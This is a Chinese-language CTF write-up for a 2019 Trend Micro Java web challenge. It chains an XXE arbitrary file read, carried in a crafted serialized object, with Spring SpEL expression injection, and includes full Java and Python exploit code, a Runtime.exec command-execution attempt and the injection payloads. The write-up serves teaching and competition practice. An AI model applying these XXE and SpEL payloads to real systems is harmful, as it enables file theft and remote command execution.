2019 Trend Micro CTF & Java Web
2019-10-11 12:19:18 Author: www.4hou.com(查看原文) 阅读量:185 收藏

前言

之前写的文章都是偏重于php,本篇文章就以2019 Trend Micro CTF的一道300分的Java Web开始我的Java之路吧~

题目分析

题目给了1个war包,那么很明显是一道代码审计题目,我们使用JD-GUI打开分析一下代码,代码结构大致如下:

2019-09-27-14-47-08.png

我们在Office类中看到需要接收2个参数:

2019-09-27-14-49-53.png

继续往下跟进,我们看到一个明显的spel表达式注入点:

2019-09-27-14-52-49.png

而nametag正是我们传入的参数,同时未做任何过滤,便带入了表达式中进行解析,那么这明显是一个可控利用点。

但是如何进入该if条件句成为了一个问题,我们注意到:

String keyParam = request.getParameter("key");
String keyFileLocation = "/TMCTF2019/key";
if (key.contentEquals(keyParam))

我们必须满足我们传入的key和文件:

/TMCTF2019/key

中的值一致才可以进入该条件句,那么只要找到一个文件任意读取的点即可。

XXE任意文件读取

继续审计代码,发现在Person类中,存在XXE文件读取点:

2019-09-27-15-00-01.png

而结果会回显在Server类中:

2019-09-27-15-00-38.png

我们写出对应的exp:

package com.trendmicro;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
public class Person
        implements Serializable
{
    public String name;
    private static final long serialVersionUID = -559038737L;
    public Person(String name)
    {
        this.name = name;
    }
    private void readObject(ObjectInputStream aInputStream)
            throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException
    {
        int paramInt = aInputStream.readInt();
        byte[] arrayOfByte = new byte[paramInt];
        aInputStream.read(arrayOfByte);
        ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
        DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
        localDocumentBuilderFactory.setNamespaceAware(true);
        DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
        Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
        NodeList nodeList = localDocument.getElementsByTagName("tag");
        Node node = nodeList.item(0);
        this.name = node.getTextContent();
    }
    private void writeObject (ObjectOutputStream out) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException{
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n" +
                "<!DOCTYPE ANY [  \n" +
                "<!ENTITY shit SYSTEM \"file:///TMCTF2019/key\">   \n" +
                "]>  \n" +
                "<root><tag>&shit;</tag></root> ";
        byte[] bs = xml.getBytes();
        out.writeInt(bs.length);
        ByteArrayOutputStream baos = new ByteArrayOutputStream(bs.length);
        baos.write(bs);
        out.write(baos.toByteArray());
    }
}
package com.trendmicro;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Main {
        public static void main(String[] args) throws Exception {
            Person person = new Person("a");
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./obj"));
            oos.writeObject(person);
            oos.close();
        }
}

首先运行生成exp文件,然后利用python将其作为data发送,尝试进行XXE攻击读取文件/TMCTF2019/key:

import requests
url = 'http://flagmarshal.xyz/jail'
f = open('./obj','rb')
exp = f.read()
r = requests.post(url = url,data=exp)
print r.content

可以成功读到回显:

2019-09-27-16-08-27.png

我们关注到现在的person.name已经变成了我们xxe读取的文件内容,我们成功的获取了/TMCTF2019/key,其值为:

Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain

Spel表达式注入攻击

那么我们回到之前的点,剩下的就是对其进行攻击:

2019-09-27-16-14-16.png

我们关注到并没有实际的回显点,我们首先尝试命令执行:

import requests
url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s"
exp = '''T(java.lang.Runtime).getRuntime().exec("nslookup a.com")'''
now_url = url %exp
r = requests.get(now_url)
print r.content

得到回显:

Please remember that I can only resolve the 'com.trendmicro.jail.Flag' classI am sorry but you cannot see the Marshal

我们发现只允许我们使用:com.trendmicro.jail.Flag

我们进行代码审计:

2019-09-27-16-21-03.png

我们发现,只要调用getflag()函数即可在报错信息中得到flag。

注意到表达式为:

'nametag' == 'Marshal'

我们的可控点在nametag,我们尝试构造:

nametag = '+T(com.trendmicro.jail.Flag).getFlag()+'

这样即可得到:

''+T(com.trendmicro.jail.Flag).getFlag()+'' == 'Marshal'

我们尝试利用:

import requests
url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s"
exp ="""'+T(com.trendmicro.jail.Flag).getFlag()+'"""
now_url = url %exp
r = requests.get(now_url)
print r.content

发现出现了报错,其中并无flag:

2019-09-27-16-29-07.png

纠结了许久,发现是+需要编码为%2B的问题,更正后即可getflag:

2019-09-27-16-30-01.png

后记

题目串联了2个漏洞:Spel表达式注入+XXE文件任意读取,放在Java中还是可以学到一些知识的~


文章来源: https://www.4hou.com/web/20747.html
如有侵权请联系:admin#unsafe.sh